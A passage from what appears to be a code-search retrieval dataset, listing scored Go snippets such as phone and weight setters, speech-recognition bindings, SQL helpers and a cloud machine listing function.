_ := unpackPCharString(word)\n\tcweight, _ := (C.float32)(weight), cgoAllocsUnknown\n\t__ret := C.ngram_model_add_word(cmodel, cword, cweight)\n\t__v := (int32)(__ret)\n\treturn __v\n}", "title": "" }, { "docid": "f726b7ee9c02ae2ae278f26837c6b73f", "score": "0.49310893", "text": "func (duo *DetailUpdateOne) SetPhone(s string) *DetailUpdateOne {\n\tduo.mutation.SetPhone(s)\n\treturn duo\n}", "title": "" }, { "docid": "e00c274baaf04985139b1e8c0dc0fe6e", "score": "0.48936003", "text": "func (du *DetailUpdate) SetPhone(s string) *DetailUpdate {\n\tdu.mutation.SetPhone(s)\n\treturn du\n}", "title": "" }, { "docid": "3109a53ebd6e913a31be712acb56cb8f", "score": "0.4866422", "text": "func Phone(args ...interface{}) (ret string, err error) {\n\tif len(args) < 1 {\n\t\treturn ret, fmt.Errorf(common.WrongArgsCount)\n\t}\n\treturn ReserveMargin(args[0], 3, \"*\")\n}", "title": "" }, { "docid": "2e878e825af3a8269f3d8a604986e51d", "score": "0.4866237", "text": "func (d BankData) SetPhone(value string) m.BankData {\n\td.ModelData.Set(models.NewFieldName(\"Phone\", \"phone\"), value)\n\treturn d\n}", "title": "" }, { "docid": "403c052de83c38f1cf0ba0cb0607da61", "score": "0.4852962", "text": "func Phone() string {\n\treturn fmt.Sprintf(\"+1%3d%3d%04d\", 200+rand.Int31n(800), 200+rand.Int31n(800), rand.Int31n(10000))\n}", "title": "" }, { "docid": "15cdff2bcae5accde62f27e943adae85", "score": "0.48319352", "text": "func Phone() string {\n\tnetwork1 := []string{\"7\", \"8\", \"9\"}\n\tnetwork2 := []string{\"0\", \"1\"}\n\treturn auth.RandomFormat(\"0%s%s\", network1, network2) + auth.RandomDigits(8)\n}", "title": "" }, { "docid": "bbf9e5da910ff6303c90f2fc148e09cb", "score": "0.4826947", "text": "func (s *Session) addCall(weight float32, gp GenCall, cb GenCallBack) {\n\ts._totalWeight = s._totalWeight + weight\n\ts._calls[s._count] = new(Call)\n\ts._calls[s._count].RandomWeight = s._totalWeight\n\ts._calls[s._count].GenParam = gp\n\ts._calls[s._count].CallBack = cb\n\ts._calls[s._count].SePoint = s\n\n\ts._calls[s._count].normalize()\n\ts._count++\n}", "title": "" }, { "docid": "c57d160376553ce1ccc21e22cdde4785", "score": "0.48252448", "text": "func (t *Telephone) AddPeer() {\n\n}", "title": "" }, { "docid": "6b122ac424461db66fc2fa907c2e0a2b", "score": "0.4818884", "text": "func (o *CustomerShippingContactsDataResponse) SetPhone(v string) {\n\to.Phone = &v\n}", "title": "" }, { "docid": "5e3d1b08fa35c371709629905d23af22", "score": "0.4816486", "text": "func (uuo *UserUpdateOne) SetPhone(s string) *UserUpdateOne {\n\tuuo.mutation.SetPhone(s)\n\treturn uuo\n}", "title": "" }, { "docid": "8564a31e4d6abe3787574b3e97498e56", "score": "0.48030952", "text": "func (o *PostUpdateCustomerContactsParams) SetPhone(phone *string) {\n\to.Phone = phone\n}", "title": "" }, { "docid": "eccd326ce2d4153df3bfce72596708b6", "score": "0.47923496", "text": "func (cuo *CustomerUpdateOne) SetPhone(s string) *CustomerUpdateOne {\n\tcuo.mutation.SetPhone(s)\n\treturn cuo\n}", "title": "" }, { "docid": "b2c4232a78b5df395beb91366aa0f67c", "score": "0.4790207", "text": "func (puo *PatientUpdateOne) AddPhysicaltherapyrecordIDs(ids ...int) *PatientUpdateOne {\n\tpuo.mutation.AddPhysicaltherapyrecordIDs(ids...)\n\treturn puo\n}", "title": "" }, { "docid": "78e0eeb4ae695f8e71401f89107495e4", "score": "0.47836772", "text": "func (m *BookingBusiness) SetPhone(value *string)() {\n m.phone = value\n}", "title": "" }, { "docid": "a93a2f2b0672887d7bc73d0c60dbea53", "score": "0.4769473", "text": "func AddWord(ps *Decoder, word string, phones string, update int32) int32 {\n\tcps, _ := (*C.ps_decoder_t)(unsafe.Pointer(ps)), cgoAllocsUnknown\n\tcword, _ := unpackPCharString(word)\n\tcphones, _ := unpackPCharString(phones)\n\tcupdate, _ := (C.int)(update), cgoAllocsUnknown\n\t__ret := C.ps_add_word(cps, cword, cphones, cupdate)\n\t__v := (int32)(__ret)\n\treturn __v\n}", "title": "" }, { "docid": "f512d9c7042fb096954882e67f0b667f", "score": "0.47498053", "text": "func (t *Twilio) AddToCache(phone string) error {\n\t//gen pin\n\ttwiliPin := GenTwilioPin(9999)\n\n\tif _, ok := t.cache[phone]; ok {\n\t\treturn errors.New(\"error: phone number already in twilio cache\")\n\t}\n\n\terr := t.TextPin(phone, twiliPin)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t//add to cache\n\tt.cache[phone] = twiliPin\n\n\treturn nil\n}", "title": "" }, { "docid": "3a60736c8026b2d405b80d918021bab3", "score": "0.47497475", "text": "func (cu *CustomerUpdate) SetPhone(s string) *CustomerUpdate {\n\tcu.mutation.SetPhone(s)\n\treturn cu\n}", "title": "" }, { "docid": "f9239e3e0edd0bc44953559b5908165b", "score": "0.47483426", "text": "func (u *User) SetPhone(newPhone string) {\n\tu.Phone = newPhone\n}", "title": "" }, { "docid": "169bcc3b8b3f3773ea416177baf3ec29", "score": "0.47332704", "text": "func AddProgearWeightTicketToPPMShipment(db *pop.Connection, ppmShipment *models.PPMShipment, userUploader *uploader.UserUploader, progearWeightTicketTemplate *models.ProgearWeightTicket) {\n\tif ppmShipment == nil {\n\t\tlog.Panic(\"ppmShipment is required\")\n\t}\n\tif db == nil && ppmShipment.ID.IsNil() {\n\t\t// need to create an ID so we can use the ppmShipment as\n\t\t// LinkOnly\n\t\tppmShipment.ID = uuid.Must(uuid.NewV4())\n\t}\n\tcustoms := []Customization{\n\t\t{\n\t\t\tModel: *ppmShipment,\n\t\t\tLinkOnly: true,\n\t\t},\n\t}\n\tif progearWeightTicketTemplate != nil {\n\t\tcustoms = append(customs, Customization{\n\t\t\tModel: *progearWeightTicketTemplate,\n\t\t})\n\t}\n\tif db != nil && userUploader != nil {\n\t\tcustoms = append(customs, Customization{\n\t\t\tModel: models.UserUpload{},\n\t\t\tExtendedParams: &UserUploadExtendedParams{\n\t\t\t\tUserUploader: userUploader,\n\t\t\t\tAppContext: uploaderAppContext(db),\n\t\t\t},\n\t\t})\n\t}\n\tprogearWeightTicket := BuildProgearWeightTicket(db, customs, nil)\n\tif db == nil {\n\t\t// tests expect a stubbed weight ticket built with this\n\t\t// factory method to have CreatedAt/UpdatedAt\n\t\tprogearWeightTicket.CreatedAt = ppmShipment.CreatedAt\n\t\tprogearWeightTicket.UpdatedAt = ppmShipment.UpdatedAt\n\t}\n\tppmShipment.ProgearWeightTickets = append(ppmShipment.ProgearWeightTickets,\n\t\tprogearWeightTicket)\n}", "title": "" }, { "docid": "db175fb3dea5b3e1b7ac5c38c19523ff", "score": "0.4726179", "text": "func (cac *CustomerAddressCreate) SetPhone(s string) *CustomerAddressCreate {\n\tcac.mutation.SetPhone(s)\n\treturn cac\n}", "title": "" }, { "docid": "361d7974a5b822caa279997bd166832e", "score": "0.47190893", "text": "func (m *Trending) SetWeight(value *float64)() {\n err := m.GetBackingStore().Set(\"weight\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "a133d7ec67c097681ed7a54408504957", "score": "0.4681453", "text": "func (db *DB) UpdatePhone(p *Phone) error {\n\n\tstatement := \"update phone_numbers set number=? where id=?\"\n\n\t_, err := db.db.Exec(statement, p.Number, p.ID)\n\n\treturn err\n\n}", "title": "" }, { "docid": "e855c09b9f23934e0c304f2c2d427dfa", "score": "0.46806604", "text": "func (t *Table) SetWeight(backend *common.Backend, weight uint) {\n\tt.mutex.Lock()\n\tdefer t.mutex.Unlock()\n\n\tif backend == nil {\n\t\tpanic(\"backend is nil\")\n\t}\n\n\tif weight == 0 {\n\t\tdelete(t.permutations, backend)\n\t\tt.populate()\n\t\treturn\n\t}\n\n\tp, ok := t.permutations[backend]\n\tif ok {\n\t\tp.weight = weight\n\t\tt.permutations[backend] = p\n\t} else {\n\t\tt.permutations[backend] = permutation{\n\t\t\tweight: weight,\n\t\t\toffset: siphash.Hash(offsetKey, 0, []byte(backend.IP)) % t.m,\n\t\t\tskip: siphash.Hash(skipKey, 0, []byte(backend.IP))%(t.m-1) + 1,\n\t\t}\n\t}\n\tt.populate()\n}", "title": "" }, { "docid": "94e294c94553eaaf15f7d0d940856b5c", "score": "0.46773195", "text": "func (o *User) SetPhone(v string) {\n\to.Phone = &v\n}", "title": "" }, { "docid": "94e294c94553eaaf15f7d0d940856b5c", "score": "0.46773195", "text": "func (o *User) SetPhone(v string) {\n\to.Phone = &v\n}", "title": "" }, { "docid": "f09098573cf91830735177ab888a8591", "score": "0.46745726", "text": "func (o *EnvoyBackend) SetWeight(v int32) {\n\to.Weight = &v\n}", "title": "" }, { "docid": "96253250903ce8aa13c7f6cf6a8b24f6", "score": "0.46626994", "text": "func (m *ContactMutation) SetPhone(s string) {\n\tm.phone = &s\n}", "title": "" }, { "docid": "24844d524e6339ca37882842d68b86f1", "score": "0.46584752", "text": "func (uu *UserUpdate) SetPhone(s string) *UserUpdate {\n\tuu.mutation.SetPhone(s)\n\treturn uu\n}", "title": "" }, { "docid": "a7c9d54e4772b1d45c743280ed8b361f", "score": "0.46465713", "text": "func (mp *Multipath) AddWWID(ctx context.Context, wwid string) error {\n\tdefer tracer.TraceFuncCall(ctx, \"multipath.AddWWID\")()\n\treturn mp.addWWID(ctx, wwid)\n}", "title": "" }, { "docid": "71faf435bd4290cb50019236d752240c", "score": "0.464521", "text": "func (qedc *QccEnterpriseDataCreate) SetPhone(s string) *QccEnterpriseDataCreate {\n\tqedc.mutation.SetPhone(s)\n\treturn qedc\n}", "title": "" }, { "docid": "1d367d688afd73e035205ae5746261c7", "score": "0.46430975", "text": "func (me G) Add(u, v int, weight float64) {\n me.checkBounds(u)\n me.checkBounds(v)\n edge := Edge { u, v, weight }\n me.adj[u] = append(me.adj[u], edge)\n me.nE++\n}", "title": "" }, { "docid": "d3b1d1edf876fd6cd5f3bd262a993b9b", "score": "0.46418184", "text": "func PhoneNumber(value string) *SimpleElement {\n\treturn newSEString(\"phoneNumber\", value)\n}", "title": "" }, { "docid": "afac6a88f4bc6f1fa864d2c9845dcbf3", "score": "0.46412146", "text": "func Phone(router *gin.Engine) {\n\trouter.GET(\"/phone\", phone)\n}", "title": "" }, { "docid": "4455c34ea10766e1cacc13ec7c0fc864", "score": "0.46294707", "text": "func (p *BBcWitness) AddWitness(userId *[]byte) error {\n\tif p.Transaction == nil {\n\t\treturn errors.New(\"transaction must be set\")\n\t}\n\tuid := make([]byte, int(p.IdLengthConf.UserIdLength))\n\tcopy(uid, *userId)\n\tp.UserIDs = append(p.UserIDs, uid)\n\tidx := p.Transaction.GetSigIndex(uid)\n\tp.SigIndices = append(p.SigIndices, idx)\n\treturn nil\n}", "title": "" }, { "docid": "33383fdf175d099054cdb6cc8b94e932", "score": "0.4622963", "text": "func AddPerson(newPerson models.Person) models.Person {\n\tdb.RunTransaction(\"insert into address (first_name, last_name, email, phone) values ($1, $2, $3, $4)\", newPerson.FirstName, newPerson.LastName, newPerson.Email, newPerson.Email)\n\treturn newPerson\n}", "title": "" }, { "docid": "1f03b0a6a256db2fd7358881aa42e256", "score": "0.46208248", "text": "func (s *SankeyDiagramAggregatedFieldWells) SetWeight(v []*MeasureField) *SankeyDiagramAggregatedFieldWells {\n\ts.Weight = v\n\treturn s\n}", "title": "" }, { "docid": "aaa58bc1407aa2e28e517d63fb977d05", "score": "0.46062073", "text": "func BenchmarkAddPhoneRaw(b *testing.B) {\n\tperson := NewPerson()\n\tfor i := 0; i < b.N; i++ {\n\t\t_ = person.AddPhoneRaw(testPhoneRaw)\n\t}\n}", "title": "" }, { "docid": "a1196908d222dfdf8b57e9ff2183515c", "score": "0.45952168", "text": "func (s BankSet) SetPhone(value string) {\n\ts.RecordCollection.Set(models.NewFieldName(\"Phone\", \"phone\"), value)\n}", "title": "" }, { "docid": "b4f821be54dfad6763d37d7ba43e2037", "score": "0.45870146", "text": "func (pu *PatientUpdate) AddPhysicaltherapyrecordIDs(ids ...int) *PatientUpdate {\n\tpu.mutation.AddPhysicaltherapyrecordIDs(ids...)\n\treturn pu\n}", "title": "" }, { "docid": "5e8939c0c798b57355a2f55c4f3e41f2", "score": "0.45799166", "text": "func (d BankData) Phone() string {\n\tval := d.ModelData.Get(models.NewFieldName(\"Phone\", \"phone\"))\n\tif !d.Has(models.NewFieldName(\"Phone\", \"phone\")) {\n\t\treturn *new(string)\n\t}\n\treturn val.(string)\n}", "title": "" }, { "docid": "e84aef73b307556e639e338a7394bfe4", "score": "0.45739114", "text": "func (suc *SysUserCreate) SetPhone(s string) *SysUserCreate {\n\tsuc.mutation.SetPhone(s)\n\treturn suc\n}", "title": "" }, { "docid": "e088df7cc5df71a12067919d5f0ab33d", "score": "0.45709082", "text": "func (rc *RouteCreate) SetWeight(i int) *RouteCreate {\n\trc.mutation.SetWeight(i)\n\treturn rc\n}", "title": "" }, { "docid": "51aa042193341214dae6eeead41143e3", "score": "0.45665053", "text": "func (t *Table) Add(backend *common.Backend) {\n\tt.SetWeight(backend, 1)\n}", "title": "" }, { "docid": "369b39349aec8a8a57869c612a6cb093", "score": "0.4535228", "text": "func (b *Block) SetWeight(weight uint64) {\n\tb.weight = weight\n}", "title": "" }, { "docid": "5b6fa174d28eba4749ca396904cc910f", "score": "0.45312893", "text": "func (quo *QuestionUpdateOne) SetWeight(f float64) *QuestionUpdateOne {\n\tquo.mutation.ResetWeight()\n\tquo.mutation.SetWeight(f)\n\treturn quo\n}", "title": "" }, { "docid": "6ff9da0d8819be88c8da8c4928e39746", "score": "0.45226675", "text": "func Phone(v string) predicate.QccEnterpriseData {\n\treturn predicate.QccEnterpriseData(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldPhone), v))\n\t})\n}", "title": "" }, { "docid": "f401d11e0856024482ba153ea19cfc89", "score": "0.4516018", "text": "func (g *Mutable) Add(v, w int) {\n\tg.AddCost(v, w, 0)\n}", "title": "" }, { "docid": "9f9b8d9a1474c492a93e818fe0b32b5a", "score": "0.4512213", "text": "func Phone(v string) predicate.Club {\n\treturn predicate.Club(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldPhone), v))\n\t})\n}", "title": "" }, { "docid": "fe724f53f689d8154642316b24f0380c", "score": "0.45075992", "text": "func (o WeightedBackendServiceOutput) Weight() pulumi.IntPtrOutput {\n\treturn o.ApplyT(func(v WeightedBackendService) *int { return v.Weight }).(pulumi.IntPtrOutput)\n}", "title": "" }, { "docid": "c5cbe90548c6bb5f0c5d51baf90f076e", "score": "0.44930923", "text": "func (d *DaytimeState) Phone(context Context) {\n\t// ˅\n\tcontext.CallSecurityGuardsRoom(\"Make a normal call in the daytime\")\n\t// ˄\n}", "title": "" }, { "docid": "1ff1b8372fcb27656d8ff383e7235308", "score": "0.4492314", "text": "func NgramModelAddClassWord(model *NgramModel, classname string, word string, weight float32) int32 {\n\tcmodel, _ := (*C.ngram_model_t)(unsafe.Pointer(model)), cgoAllocsUnknown\n\tcclassname, _ := unpackPCharString(classname)\n\tcword, _ := unpackPCharString(word)\n\tcweight, _ := (C.float32)(weight), cgoAllocsUnknown\n\t__ret := C.ngram_model_add_class_word(cmodel, cclassname, cword, cweight)\n\t__v := (int32)(__ret)\n\treturn __v\n}", "title": "" }, { "docid": "6aeb6971fa0cfdad45109311eb316af2", "score": "0.44895762", "text": "func (o *CartItem) SetWeight(v float32) {\n\to.Weight = &v\n}", "title": "" }, { "docid": "3b2ac4501ef57d2b8c94140f1af94cfa", "score": "0.44817474", "text": "func (ruo *RelationshipUpdateOne) SetWeight(i int) *RelationshipUpdateOne {\n\truo.mutation.ResetWeight()\n\truo.mutation.SetWeight(i)\n\treturn ruo\n}", "title": "" }, { "docid": "cb894a02f22901835655ed9f3387f144", "score": "0.4476544", "text": "func (s *sqlService) CreatePhoneNumber(phoneNumber common.SQLPhoneNumber) (err error) {\n\tctx := context.Background()\n\n\tif db == nil {\n\t\terr = errors.New(\"CreateEmployee: db is null\")\n\t\treturn\n\t}\n\n\t// Check if database is alive.\n\tif err = db.PingContext(ctx); err != nil {\n\t\treturn\n\t}\n\n\ttsql := \"insert into tblPhoneNumbers (phoneId, contactId, phoneNumber) VALUES (@phoneId, @contactId, @phoneNumber);\"\n\n\tstmt, err := db.Prepare(tsql)\n\tif err != nil {\n\t\treturn\n\t}\n\tdefer stmt.Close()\n\n\t_ = stmt.QueryRowContext(\n\t\tctx,\n\t\tsql.Named(\"phoneId\", phoneNumber.PhoneID),\n\t\tsql.Named(\"contactId\", phoneNumber.ContactID),\n\t\tsql.Named(\"phoneNumber\", phoneNumber.PhoneNumber))\n\n\treturn\n}", "title": "" }, { "docid": "f0125381ea6e075503b525610fd3e401", "score": "0.44748527", "text": "func (re Entry) Add(newRe Entry) Entry {\n\tre.Race = newRe.Race\n\tre.FatherAge = newRe.FatherAge\n\tre.MotherAge = newRe.MotherAge\n\tre.Weight += newRe.Weight\n\treturn re\n}", "title": "" }, { "docid": "36349e2b67680205bf9391cc01173356", "score": "0.44657728", "text": "func Weight(v int) predicate.Friendship {\n\treturn predicate.Friendship(sql.FieldEQ(FieldWeight, v))\n}", "title": "" }, { "docid": "31139d93c9dfe6da78e90e47de5f2338", "score": "0.44655246", "text": "func (c *Client) AddWorker(\n\tadress string,\n\tport int,\n\tsecret string,\n\tcert *tls.Certificate,\n\tdialer func(context.Context, string) (net.Conn, error)) error {\n\n\tvar w Worker\n\tw.Adress = adress\n\tw.Port = port\n\tw.Secret = secret\n\tw.Certificate = cert\n\tw.dialer = dialer\n\n\tif cert != nil {\n\t\tfor _, byteCert := range w.Certificate.Certificate {\n\t\t\tif !c.certPool.AppendCertsFromPEM(byteCert) {\n\t\t\t\treturn &CertificateDecodeError{}\n\t\t\t}\n\t\t}\n\t}\n\n\tc.Workers = append(c.Workers, &w)\n\n\treturn nil\n}", "title": "" }, { "docid": "372a272e26baa706b5f5c47b1baceb57", "score": "0.4452291", "text": "func (f *FriendshipFilter) WhereWeight(p entql.IntP) {\n\tf.Where(p.Field(friendship.FieldWeight))\n}", "title": "" }, { "docid": "70937f61db9445f1eab23cb5f288f910", "score": "0.4444322", "text": "func (m *CompanyInformation) SetPhoneNumber(value *string)() {\n err := m.GetBackingStore().Set(\"phoneNumber\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "17127703ffef85f1091a926987487d47", "score": "0.44356292", "text": "func InsertNameAndPhoneIntoMap(name string, phone string) {\n\n}", "title": "" }, { "docid": "fcc4fa08a207c5cff22c18aaa71bc8fe", "score": "0.44300443", "text": "func (o *TenancyContactsListParams) SetPhoneIsw(phoneIsw *string) {\n\to.PhoneIsw = phoneIsw\n}", "title": "" }, { "docid": "33592229037df112f16526a13b7bc459", "score": "0.44225982", "text": "func (swfsuo *SurveyWiFiScanUpdateOne) AddStrength(i int) *SurveyWiFiScanUpdateOne {\n\tif swfsuo.addstrength == nil {\n\t\tswfsuo.addstrength = &i\n\t} else {\n\t\t*swfsuo.addstrength += i\n\t}\n\treturn swfsuo\n}", "title": "" }, { "docid": "14dcda0804295979b084cb09e22ae022", "score": "0.44222528", "text": "func (g Feature) Weight() int {\n\tres := g.PositionCount() * sizeofPosition\n\tif g.Properties != nil {\n\t\tb, _ := json.Marshal(g.Properties)\n\t\tres += len(b)\n\t}\n\tif g.ID != nil {\n\t\tb, _ := json.Marshal(g.ID)\n\t\tres += len(b) - 2\n\t}\n\treturn res\n}", "title": "" }, { "docid": "3cc7b1e9b5e3d0648703ff2a233a694a", "score": "0.442103", "text": "func (c FieldsCollection) Phone() *models.Field {\n\treturn c.MustGet(\"Phone\")\n}", "title": "" }, { "docid": "6508fca0067191fde8cd35ca22308d5a", "score": "0.44177318", "text": "func (db *DB) DeletePhone(id int) error {\n\n\tstatement := \"delete from phone_numbers where id=?\"\n\n\t_, err := db.db.Exec(statement, id)\n\n\treturn err\n\n}", "title": "" }, { "docid": "a443f9ec03cb59d2ccc6fa9e60054843", "score": "0.4414935", "text": "func (g *Mutable) AddCost(v, w int, c int64) {\n\t// Make sure not to break internal state.\n\tif w < 0 || w >= len(g.edges) {\n\t\tpanic(\"vertex out of range: \" + strconv.Itoa(w))\n\t}\n\tif g.edges[v] == nil {\n\t\tg.edges[v] = make(map[int]int64, initialMapSize)\n\t}\n\tg.edges[v][w] = c\n}", "title": "" }, { "docid": "4a1579adfdab61a382ccd1f31fc00af6", "score": "0.44065535", "text": "func (o *TenancyContactsListParams) WithPhone(phone *string) *TenancyContactsListParams {\n\to.SetPhone(phone)\n\treturn o\n}", "title": "" }, { "docid": "1d9c79299f6b6b3111c2d65dc9a24dfb", "score": "0.43992773", "text": "func (r *TaobaoScitemUpdateAPIRequest) SetWeight(_weight int64) error {\n\tr._weight = _weight\n\tr.Set(\"weight\", _weight)\n\treturn nil\n}", "title": "" }, { "docid": "f1acacb8a4e8a6b91a2e4bbd48e06815", "score": "0.43959776", "text": "func (o URLMapPathMatcherDefaultRouteActionWeightedBackendServiceOutput) Weight() pulumi.IntPtrOutput {\n\treturn o.ApplyT(func(v URLMapPathMatcherDefaultRouteActionWeightedBackendService) *int { return v.Weight }).(pulumi.IntPtrOutput)\n}", "title": "" }, { "docid": "6b72df55b619dd4af76f2184be7e8f29", "score": "0.4395418", "text": "func (o URLMapDefaultRouteActionWeightedBackendServiceOutput) Weight() pulumi.IntPtrOutput {\n\treturn o.ApplyT(func(v URLMapDefaultRouteActionWeightedBackendService) *int { return v.Weight }).(pulumi.IntPtrOutput)\n}", "title": "" }, { "docid": "6c5f8ba9f50ca244c62d6eb101a698d8", "score": "0.43946886", "text": "func (m *SalesOrder) SetPhoneNumber(value *string)() {\n err := m.GetBackingStore().Set(\"phoneNumber\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "1884d2cf400ac60d23b60ca57e18929c", "score": "0.43866128", "text": "func (o URLMapPathMatcherRouteRuleRouteActionWeightedBackendServiceOutput) Weight() pulumi.IntOutput {\n\treturn o.ApplyT(func(v URLMapPathMatcherRouteRuleRouteActionWeightedBackendService) int { return v.Weight }).(pulumi.IntOutput)\n}", "title": "" } ]
a82c6c6d0b29722b9812de6e65af57f6
Machines returns a map of machines currently in the cluster state.
[ { "docid": "8dfaff2c18f4799705f0059f2eb49446", "score": "0.7507806", "text": "func (c *ClusterClient) Machines() (map[string]api.MachineState, error) {\n\tc.logger.Info(\"client_current_machines\")\n\n\tstate, err := c.state()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn state.Machines(), nil\n}", "title": "" } ]
[ { "docid": "d68ef556b6cf55cdd41e80cd2aeda648", "score": "0.73856026", "text": "func (n *Node) GetMachines() (map[string]struct{}, error) {\n\t// this is like its equivalent in python\n\t// https://docs.ros.org/melodic/api/rosnode/html/rosnode-pysrc.html#get_machines_by_nodes\n\n\tnodes, err := n.GetNodes()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tret := make(map[string]struct{})\n\tfor _, info := range nodes {\n\t\thost, _, err := net.SplitHostPort(info.Address)\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\t\tret[host] = struct{}{}\n\t}\n\n\treturn ret, nil\n}", "title": "" }, { "docid": "50f91b53631ea4c238f8fcb5e5bf0ca8", "score": "0.65881836", "text": "func (e *Environment) Machines() []hps.IMachine {\n\treturn e.machines\n}", "title": "" }, { "docid": "c87326f8029d3ba70c71b27d46760cff", "score": "0.6351041", "text": "func (c *ClusterClient) ConfiguredMachines() map[string]*api.Machine {\n\tc.logger.Info(\"client_configured_machines\")\n\treturn c.cluster.Machines()\n}", "title": "" }, { "docid": "67cd7ba2095cfcdec190f54ed9f33d0d", "score": "0.6200562", "text": "func (o *objectGraph) getMachines() []*node {\n\tmachines := []*node{}\n\tfor _, node := range o.uidToNode {\n\t\tif node.identity.GroupVersionKind().GroupKind() == clusterv1.GroupVersion.WithKind(\"Machine\").GroupKind() {\n\t\t\tmachines = append(machines, node)\n\t\t}\n\t}\n\treturn machines\n}", "title": "" }, { "docid": "1cfa2398f2a6d57dc97e1a5eacc2d9f2", "score": "0.6153167", "text": "func (C *Client) Machines() (*[]Machine, error) {\n\tm := map[string]string{}\n\n\tresponse := new(map[string]interface{})\n\tif err := C.get(\"/machines\", m, response); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif err := (*response)[\"errors\"]; err != nil {\n\t\terr := err.([]interface{})\n\t\te := err[0].(map[string]interface{})\n\n\t\treturn nil, fmt.Errorf(\"[%d] %s\", int(e[\"status\"].(float64)), e[\"title\"])\n\t}\n\n\t// fmt.Printf(\"\\n\\nHERE: %+v\\n\\n\\n\", response)\n\tvar machines []Machine\n\terr := jsonapi.Unmarshal(*response, &machines)\n\n\treturn &machines, err\n}", "title": "" }, { "docid": "65d38764d4e132f5f97cc377e7945a6e", "score": "0.6112128", "text": "func (r *Registry) GetActiveMachines() []machine.MachineState {\n\tkey := path.Join(r.keyPrefix, machinePrefix)\n\tresp, err := r.etcd.Get(key, false, true)\n\n\tvar machines []machine.MachineState\n\n\t// Assume the error was KeyNotFound and return an empty data structure\n\tif err != nil {\n\t\treturn machines\n\t}\n\n\tfor _, kv := range resp.Node.Nodes {\n\t\t_, machID := path.Split(kv.Key)\n\t\tmach := r.GetMachineState(machID)\n\t\tif mach != nil {\n\t\t\tmachines = append(machines, *mach)\n\t\t}\n\t}\n\n\treturn machines\n}", "title": "" }, { "docid": "645f41a357f20e1049d5e18e6ef6a9c3", "score": "0.5980837", "text": "func (r *ReconcileMachineSet) MachineToMachineSets() handler.MapFunc {\n\treturn func(ctx context.Context, o client.Object) []ctrlruntime.Request {\n\t\tresult := []reconcile.Request{}\n\n\t\tm := &clusterv1alpha1.Machine{}\n\t\tkey := client.ObjectKey{Namespace: o.GetNamespace(), Name: o.GetName()}\n\t\tmachineLog := r.log.With(\"machine\", key)\n\n\t\tif err := r.Client.Get(ctx, key, m); err != nil {\n\t\t\tif !apierrors.IsNotFound(err) {\n\t\t\t\tmachineLog.Errorw(\"Failed to retrieve Machine for possible MachineSet adoption\", zap.Error(err))\n\t\t\t}\n\t\t\treturn nil\n\t\t}\n\n\t\t// Check if the controller reference is already set and\n\t\t// return an empty result when one is found.\n\t\tfor _, ref := range m.ObjectMeta.OwnerReferences {\n\t\t\tif ref.Controller != nil && *ref.Controller {\n\t\t\t\treturn result\n\t\t\t}\n\t\t}\n\n\t\tmss := r.getMachineSetsForMachine(ctx, machineLog, m)\n\t\tif len(mss) == 0 {\n\t\t\tmachineLog.Debug(\"Found no MachineSet for Machine\")\n\t\t\treturn nil\n\t\t}\n\n\t\tfor _, ms := range mss {\n\t\t\tname := client.ObjectKey{Namespace: ms.Namespace, Name: ms.Name}\n\t\t\tresult = append(result, reconcile.Request{NamespacedName: name})\n\t\t}\n\n\t\treturn result\n\t}\n}", "title": "" }, { "docid": "d7eb0ede09fe42789e3e4bf6b700045e", "score": "0.59354645", "text": "func (c *Compute) ListMachines(ctx context.Context, zone string) ([]*compute.Instance, error) {\n\tglog.Infof(\"listing machines in %q\", zone)\n\n\tcsrv, err := compute.New(c.client)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tl, err := csrv.Instances.\n\t\tList(c.projectID, zone).\n\t\tContext(ctx).\n\t\tDo()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tsort.Slice(l.Items, func(i, j int) bool { return l.Items[i].Name < l.Items[j].Name })\n\treturn l.Items, nil\n}", "title": "" }, { "docid": "7c36902a633c6d6b144446026a99520e", "score": "0.5934535", "text": "func Machines(clusterID string, config *types.InstallConfig, pool *types.MachinePool, osImage, role, userDataSecret string) ([]machineapi.Machine, error) {\n\tif configPlatform := config.Platform.Name(); configPlatform != openstack.Name {\n\t\treturn nil, fmt.Errorf(\"non-OpenStack configuration: %q\", configPlatform)\n\t}\n\tif poolPlatform := pool.Platform.Name(); poolPlatform != openstack.Name {\n\t\treturn nil, fmt.Errorf(\"non-OpenStack machine-pool: %q\", poolPlatform)\n\t}\n\n\tmpool := pool.Platform.OpenStack\n\tplatform := config.Platform.OpenStack\n\ttrunkSupport, err := checkNetworkExtensionAvailability(platform.Cloud, \"trunk\", nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvolumeAZs := openstackdefaults.DefaultRootVolumeAZ()\n\tif mpool.RootVolume != nil && len(mpool.RootVolume.Zones) != 0 {\n\t\tvolumeAZs = mpool.RootVolume.Zones\n\t}\n\n\ttotal := int64(1)\n\tif pool.Replicas != nil {\n\t\ttotal = *pool.Replicas\n\t}\n\tmachines := make([]machineapi.Machine, 0, total)\n\tproviderConfigs := map[string]*openstackprovider.OpenstackProviderSpec{}\n\tfor idx := int64(0); idx < total; idx++ {\n\t\tzone := mpool.Zones[int(idx)%len(mpool.Zones)]\n\t\tvar provider *openstackprovider.OpenstackProviderSpec\n\n\t\tif _, ok := providerConfigs[zone]; !ok {\n\t\t\tprovider, err = generateProvider(\n\t\t\t\tclusterID,\n\t\t\t\tplatform,\n\t\t\t\tmpool,\n\t\t\t\tosImage,\n\t\t\t\tzone,\n\t\t\t\trole,\n\t\t\t\tuserDataSecret,\n\t\t\t\ttrunkSupport,\n\t\t\t\tvolumeAZs[int(idx)%len(volumeAZs)],\n\t\t\t)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tproviderConfigs[zone] = provider\n\t\t}\n\n\t\tprovider = providerConfigs[zone]\n\n\t\tmachine := machineapi.Machine{\n\t\t\tTypeMeta: metav1.TypeMeta{\n\t\t\t\tAPIVersion: 